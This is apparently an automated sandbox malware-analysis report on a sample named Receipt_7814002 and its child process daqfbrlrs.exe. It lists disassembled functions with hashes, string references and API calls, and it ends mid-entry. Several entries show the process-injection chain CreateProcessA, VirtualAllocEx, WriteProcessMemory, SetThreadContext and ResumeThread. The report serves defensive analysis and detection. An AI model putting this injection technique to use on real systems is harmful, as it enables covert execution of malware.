Opcode Fuzzy Hash: f616fbd67038ad667a1248b36d6500b0615899a0b8dd415aef1808da4f39ed05
Instruction Fuzzy Hash: 07917E30A00209DFDB68EFAADA54B6E7BB6FF44700F11862DD80197254DB799D81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 06C57060 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C57568
.5uq, xrefs: 06C570BB
$]q, xrefs: 06C573A8
$]q, xrefs: 06C57574
$]q, xrefs: 06C57342
$]q, xrefs: 06C574FC
$]q, xrefs: 06C5739C

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: 460d0183b8385a7c8213c521695fca9f2e0e40f95ada5b25a64b8ee0d23e2d4d
Instruction ID: 168820c983f98a31d908d71c9c7795977fd9749975ad4f6e5067ba2d26e52c50
Opcode Fuzzy Hash: 460d0183b8385a7c8213c521695fca9f2e0e40f95ada5b25a64b8ee0d23e2d4d
Instruction Fuzzy Hash: 8EF14A34B00205DFCB58EFA9D994A5EBBB6FF94304F258529D8059B364CB39DC82CB94

Uniqueness

Uniqueness Score: -1.00%

Function 06C58398 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C58663
$]q, xrefs: 06C585FE
$]q, xrefs: 06C58657
$]q, xrefs: 06C585F2

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: a6ce28866a75154085096cf24a6bcfcff7f272280658cca0b4fc5150a8c01b18
Instruction ID: fd38c08609a83521fd6a23a525a66ee60bb30e9cfeb623f83cd983b12dfe1e19
Opcode Fuzzy Hash: a6ce28866a75154085096cf24a6bcfcff7f272280658cca0b4fc5150a8c01b18
Instruction Fuzzy Hash: 88B17A30B01219CFDB54EFA9D98065EB7A6EF94304F21882DD806DB364DB75DC82CB84

Uniqueness

Uniqueness Score: -1.00%

Function 06C587B0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C5882F
$]q, xrefs: 06C5883B
LR]q, xrefs: 06C588A3
LR]q, xrefs: 06C588F2

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: aa85ff83c728dd2f621f518942d047ee88855e6b2c9f7960729fb6cdf66fc620
Instruction ID: 97ac130cdd6c5181254fc6a9451c6dbed0465d54c5d837cd854795d058b719c8
Opcode Fuzzy Hash: aa85ff83c728dd2f621f518942d047ee88855e6b2c9f7960729fb6cdf66fc620
Instruction Fuzzy Hash: 0D51E530B012119FDB58DF29DD80A2AB7E6FF88704F11856DE8069B3A5DB35EC84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 06C5AC82 Relevance: 5.2, Strings: 4, Instructions: 159COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C5AE33
$]q, xrefs: 06C5AE04
$]q, xrefs: 06C5ADB1
$]q, xrefs: 06C5AE5C

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: ad0d1a0f503a57a38127b7e91bab2177d5fde712cb14ec7bc75338c8c7309abf
Instruction ID: 2dbfb228d195626396ea433cb4fe240526e413aa27344f039c1ff041ae5d4bf3
Opcode Fuzzy Hash: ad0d1a0f503a57a38127b7e91bab2177d5fde712cb14ec7bc75338c8c7309abf
Instruction Fuzzy Hash: A951A034E102059FCFA4EBAAE980A6DB7B6EB94310F11862EDC05D7354DB35DD81CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: daqfbrlrs.exePID: 3440, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	213
Total number of Limit Nodes:	9

Executed Functions

Function 02A7DA28 Relevance: 8.5, Strings: 6, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02A7E14B
paq, xrefs: 02A7E5E2
TJbq, xrefs: 02A7DBCA
xb`q, xrefs: 02A7DB55
U}<, xrefs: 02A7DE19
4']q, xrefs: 02A7E4FB

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: 4']q$TJbq$Te]q$U}<$paq$xb`q
API String ID: 0-3708470112
Opcode ID: e839c5679f02e084e4ea1216a90c34237b8f57d10f7d549015c30a8e016a0f7c
Instruction ID: 66ca34b08fc7532fa314a38831e1f74954699d80072d3a3e6b8d45de03c66b5e
Opcode Fuzzy Hash: e839c5679f02e084e4ea1216a90c34237b8f57d10f7d549015c30a8e016a0f7c
Instruction Fuzzy Hash: A0A2C575A00228CFDB65CF69CD84A99BBB2FF89304F1581E9D509AB365DB319E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06ADD760 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Ddq, xrefs: 06ADD865

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: Ddq
API String ID: 0-562783569
Opcode ID: 27f44a4f36b1d4b5519c057df26aff8c59b7d994bb4f90929a054c5471a501be
Instruction ID: 9a05f9f8ebb92633bf05e22d45f524216cc4625ebb1695f8dbd3584306236190
Opcode Fuzzy Hash: 27f44a4f36b1d4b5519c057df26aff8c59b7d994bb4f90929a054c5471a501be
Instruction Fuzzy Hash: 08D1C074E00219CFDB54EFA9D994B9DBBB2BF88304F1081A9D409AB365DB31AD81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06ADEC08 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06ADEF01
4']q, xrefs: 06ADEF81
4']q, xrefs: 06ADEE22

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: 790ec32599449c948d8dd1227ceab38cc63b8ff09376f10dc5cd6f120e87d42a
Instruction ID: cde1e68f55ce42d1626524a5e437bb81ad3cec2812f505d70f43a522ec833251
Opcode Fuzzy Hash: 790ec32599449c948d8dd1227ceab38cc63b8ff09376f10dc5cd6f120e87d42a
Instruction Fuzzy Hash: B0F1D834B40218DFCB48EFA4D998A9DBBB2FF89300F158558E506AB365DB70ED42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02A709E0 Relevance: 2.6, Strings: 2, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02A70AA2
Te]q, xrefs: 02A70AB5

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: a2ed696132f8e696b4fb62d4b4f6c1f833ef4861805b057e60400e95ebb21c18
Instruction ID: dce231558e137668baf9ec9443396b987c6d599c1919917faa17bc75b19bb79b
Opcode Fuzzy Hash: a2ed696132f8e696b4fb62d4b4f6c1f833ef4861805b057e60400e95ebb21c18
Instruction Fuzzy Hash: 05316370E402089FCB14EF69C9946AEBBF7AF88704F144429D006EB364DE745D05CF85

Uniqueness

Uniqueness Score: -1.00%

Function 02A70A5D Relevance: 2.6, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02A70AA2
Te]q, xrefs: 02A70AB5

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 8c760ad10916f9b0f0d3c315ef4e121c41e8b1edae20d7abb13bc3debbc9030e
Instruction ID: 07e9997a1b09bcf309407830e514ca2a20574251ced6b0b2a55374df318a6ded
Opcode Fuzzy Hash: 8c760ad10916f9b0f0d3c315ef4e121c41e8b1edae20d7abb13bc3debbc9030e
Instruction Fuzzy Hash: 19213D70B401049FCB54EF6DD99576EBAF7AF84704F244829D006EB3A5CE745E06CB89

Uniqueness

Uniqueness Score: -1.00%

Function 02A70A2D Relevance: 2.6, Strings: 2, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 02A70AA2
Te]q, xrefs: 02A70AB5

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: c8d31a9adab79f0fb0f7896163d9853c82d92cd5bda696309942d8d8006de33b
Instruction ID: 2d648d28e3b649697e61477ceaa75a0ef0c53eb763bed2f05dd1b9c49ed4f94e
Opcode Fuzzy Hash: c8d31a9adab79f0fb0f7896163d9853c82d92cd5bda696309942d8d8006de33b
Instruction Fuzzy Hash: F1212A70B401188FCB54EF6DDA9566EBBE7AF84704F244829D006EB3A5CE745E06CB89

Uniqueness

Uniqueness Score: -1.00%

Function 06AC7162 Relevance: 2.5, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 06AC71C4
!, xrefs: 06AC71F3

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: !$/
API String ID: 0-2633443642
Opcode ID: 21e26ba12fe3397e663d45c91714a1a24da59600ad26e1779cc19ef7f7ff156f
Instruction ID: 727c2dc1beba6603397a662eb248e26f102882c815c89566dde61e55fd71f661
Opcode Fuzzy Hash: 21e26ba12fe3397e663d45c91714a1a24da59600ad26e1779cc19ef7f7ff156f
Instruction Fuzzy Hash: 3B11F374A00128CFCBA4EF18CD85AD8B7B5BB48314F1481E9E119AB644DB359F81CF01

Uniqueness

Uniqueness Score: -1.00%

Function 04C1A454 Relevance: 1.8, APIs: 1, Instructions: 280
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04C1A6C7

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b83707f64c983c341701c4997331f561fce75433a770b293ad51f8a1ebaa534a
Instruction ID: 38415e0e9d9f10eee707070556e143d5f519d7f812512a225034d2422154a9a6
Opcode Fuzzy Hash: b83707f64c983c341701c4997331f561fce75433a770b293ad51f8a1ebaa534a
Instruction Fuzzy Hash: 90A157B0D01218CFDB10CFA8C8447EDBBF2BF0A314F14916AE859A7290DB759A81DF85

Uniqueness

Uniqueness Score: -1.00%

Function 04C1A460 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04C1A6C7

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3283628313da2aeb7d48fd654c85e7aa5dc0d27f9beecf729f351dab56967653
Instruction ID: fb7939a55a6f0a4ff50c28245fc9574ba49c2547ec73556643a356732de13508
Opcode Fuzzy Hash: 3283628313da2aeb7d48fd654c85e7aa5dc0d27f9beecf729f351dab56967653
Instruction Fuzzy Hash: 4EA124B0D01218CFDB10CFA9C8457EDBBB2BF0A314F10916AE859A7250DB35AA85DF85

Uniqueness

Uniqueness Score: -1.00%

Function 04C1B549 Relevance: 1.6, APIs: 1, Instructions: 117
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04C1B620

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3fbdd376a694e9302f59113c1e42e9a808fa7e2537164c4d62351bde4eb2990f
Instruction ID: d547a6727719d08513f8137d50b12ffd831e6c0b49e7f7604ccf348d57e3f734
Opcode Fuzzy Hash: 3fbdd376a694e9302f59113c1e42e9a808fa7e2537164c4d62351bde4eb2990f
Instruction Fuzzy Hash: 5841BAB5D012589FCB00CFA9D984AEEFBF1BF49310F24902AE419B7210D739AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04C1B550 Relevance: 1.6, APIs: 1, Instructions: 115
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04C1B620

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d1f29cf1fc6288ad1e1e91571b5c887bae8c367fce1e92af4d0d4cb00ef2ce46
Instruction ID: e6521a227311e1d40f998bbe599046648612faf98fb367646df6199d335f9f2a
Opcode Fuzzy Hash: d1f29cf1fc6288ad1e1e91571b5c887bae8c367fce1e92af4d0d4cb00ef2ce46
Instruction Fuzzy Hash: EC41BAB4D012589FCB00CFA9D984AEEFBF1BF49310F20902AE419B7210D738AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04C1B289 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04C1B33A

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 244c2a17537e4cfa03acbe810a32102ad981c8d7bfe9e35273739d23d70f7f9b
Instruction ID: cbf9c06c884a62feeb0ba23d92169daa45aa534cf8c4fad305ccdb4894fa3d6d
Opcode Fuzzy Hash: 244c2a17537e4cfa03acbe810a32102ad981c8d7bfe9e35273739d23d70f7f9b
Instruction Fuzzy Hash: 243198B9D002589FCF10CFA9D980AAEFBB1FB49310F10902AE915B7210D735A946CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04C1B290 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04C1B33A

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 75e227f4963a5ed07639720747fc6fba100b7a2b14d8bd2f7899750e488241c6
Instruction ID: 0114fe760f35d9a1957bf6f6bef66714c3dca7e3ae18d96e6e60320a442e5b6d
Opcode Fuzzy Hash: 75e227f4963a5ed07639720747fc6fba100b7a2b14d8bd2f7899750e488241c6
Instruction Fuzzy Hash: F13188B9D002589FCF10CFA9D980A9EFBB5FB49310F10942AE915B7210D735A946CF65

Uniqueness

Uniqueness Score: -1.00%

Function 04C1A808 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04C1A8BF

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 002440b450829b04c840cbbfeec8345f1afe6898eb18e491d437aebaa6cc9a14
Instruction ID: 36b6b9998a500bc141d9c14b5ebf0d2fdbda029ac6346f248fe88676c71723d2
Opcode Fuzzy Hash: 002440b450829b04c840cbbfeec8345f1afe6898eb18e491d437aebaa6cc9a14
Instruction Fuzzy Hash: A741CEB5D012589FDB14CFA9D884AEEBBF1BB49310F14802AE418B7250D739A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04C1A810 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04C1A8BF

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5d9e0dbfd29bf5766614f19fe2481a13ad72877c0bd874ba2b9b441642656768
Instruction ID: e9b3d354ec8e3c113b6f116bedab69529e292668c02710b184a04449825ce5e2
Opcode Fuzzy Hash: 5d9e0dbfd29bf5766614f19fe2481a13ad72877c0bd874ba2b9b441642656768
Instruction Fuzzy Hash: 0231BEB4D012589FDB14DFAAD884AEEFBF1BF49310F14802AE419B7250D739A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04C1A050 Relevance: 1.6, APIs: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 04C1A0D6

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 843c88bcf62b94c887512536d0b059de20587c56933d18c3a6204b485311f53b
Instruction ID: a566fd82b636a2bee7c07ffe8a8f40a27ef0143d7cd8fcd56d3496b7bedf498d
Opcode Fuzzy Hash: 843c88bcf62b94c887512536d0b059de20587c56933d18c3a6204b485311f53b
Instruction Fuzzy Hash: F531EDB5D012589FCB10CFAAD484AEEFBB1AF49310F24842AE419B7250C739A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04C1B8E1 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 04C1B966

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3f4cf753d8fd250f064579788378f911982a5bea1d01d06f86c2b82ee87b71df
Instruction ID: 03264081f088d452486c6d8e8ac958fa4425866908d0b6d049f8d5b920bfba0a
Opcode Fuzzy Hash: 3f4cf753d8fd250f064579788378f911982a5bea1d01d06f86c2b82ee87b71df
Instruction Fuzzy Hash: AE31CBB4D012189FCB10DFAAD885A9EFBB5FF49310F24842AE419B7310D734A942CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04C1A058 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 04C1A0D6

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e1950a83f321c437a551859c2d11b96e4dbb44e31ad5821b35667de03c87f9af
Instruction ID: 56bbd499d185ceea440a308c10e1476a58c1d1c309bee278ce49c7d15f0afdac
Opcode Fuzzy Hash: e1950a83f321c437a551859c2d11b96e4dbb44e31ad5821b35667de03c87f9af
Instruction Fuzzy Hash: 0331CEB5D012589FCB10CFAAD884AEEFBB5BF49310F14942AE415B7250C739A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04C1B8E8 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 04C1B966

Memory Dump Source

Source File: 00000005.00000002.2880705555.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c10000_daqfbrlrs.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: daec933433a7a66e05d0601f5b0ca21bb6b6b45886c3638d18d03c7e77762051
Instruction ID: d10510c2cedee4a0038173146e91bc54e16cb7a6ef00194e541932beda683254
Opcode Fuzzy Hash: daec933433a7a66e05d0601f5b0ca21bb6b6b45886c3638d18d03c7e77762051
Instruction Fuzzy Hash: AC31CCB4D002189FCB10DFAAD880A9EFBB5FF49310F10802AE419B7310D734A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06AC51CF Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

E, xrefs: 06AC5246

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: E
API String ID: 0-3568589458
Opcode ID: e29c7c4287bf2924926ba920e6ed063c4f97f0005af9bee06d79a2b871434ea2
Instruction ID: 00846556ae5dd58693da0f8699910bdfc5ddd6a322b22cbec22c24af324b0e9f
Opcode Fuzzy Hash: e29c7c4287bf2924926ba920e6ed063c4f97f0005af9bee06d79a2b871434ea2
Instruction Fuzzy Hash: 8001C07490022CCFDBA9EF29D888AD8B7F1BB09315F1084E8E119A7680DB749F85CF00

Uniqueness

Uniqueness Score: -1.00%

Function 06AC2059 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

<, xrefs: 06AC20AE

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 6d544d203fe7bec052cf9d3cf948991234828d2646984a83a504c3392321b26e
Instruction ID: 43e761b5ca66c69de89d5dc55b1665b04614fb48111ef1e3214b86e9e74c1935
Opcode Fuzzy Hash: 6d544d203fe7bec052cf9d3cf948991234828d2646984a83a504c3392321b26e
Instruction Fuzzy Hash: 61F05E30D00159CFDB65AF18C8447DCB6B5FB09306F0084E8D219A7684C7B54EC4DF11

Uniqueness

Uniqueness Score: -1.00%

Function 06ADE028 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fdd2ce1d6aaeeff3c04c6435dc338f38e99b97b3c16a7495054c2fa1d3d7af6
Instruction ID: 4ac6ec7e165df0bdce3c78ac8a05b53e9e05083301c1420f3d6035f3fe506d1d
Opcode Fuzzy Hash: 2fdd2ce1d6aaeeff3c04c6435dc338f38e99b97b3c16a7495054c2fa1d3d7af6
Instruction Fuzzy Hash: 3FB11774E45228CFDB94EFA8D9846ADBBB6FB48305F108029E416BB385DB345D41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02A7FC60 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a20311490714e2a211ad6048d251e15487f0e52d3c41ce544d8d0a6656f8da3
Instruction ID: 4424c542797a69a054c4be215cef7976311a81369e4dd6aa18734e54242bbcb2
Opcode Fuzzy Hash: 1a20311490714e2a211ad6048d251e15487f0e52d3c41ce544d8d0a6656f8da3
Instruction Fuzzy Hash: A0514134B406099FCB08EF64E858AAD7BB6FFC8715F008119E606AB364DF749946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06ADF520 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2883644298.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ac0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8389abe0356f77136c1a3c32338f0bc5e50cd3a1d3511506c40925e04d520c52
Instruction ID: f96bed4767a80931225e600e3e2e56f807f1bd82447979c9c6a1c49d3751f9dd
Opcode Fuzzy Hash: 8389abe0356f77136c1a3c32338f0bc5e50cd3a1d3511506c40925e04d520c52
Instruction Fuzzy Hash: 5731E231B052409FC7A4AF69E85496BBFE9EF8132071580BAE50BCB662CA30EC42C750

Uniqueness

Uniqueness Score: -1.00%

Function 02A70B84 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 374fa39408b0ae773bfc4c1588858824edd5e4377f75ce7f6d5210aba69cc64b
Instruction ID: 65305902591c27f4ac45cd6124e6838c611556ceddeffab0d05827cad17f5eb5
Opcode Fuzzy Hash: 374fa39408b0ae773bfc4c1588858824edd5e4377f75ce7f6d5210aba69cc64b
Instruction Fuzzy Hash: 1841B235A00109DFCB44CF98C9809ADBBB2FF88314B249899E915EB351CB31ED42CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02A70881 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2874668861.0000000002A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a70000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
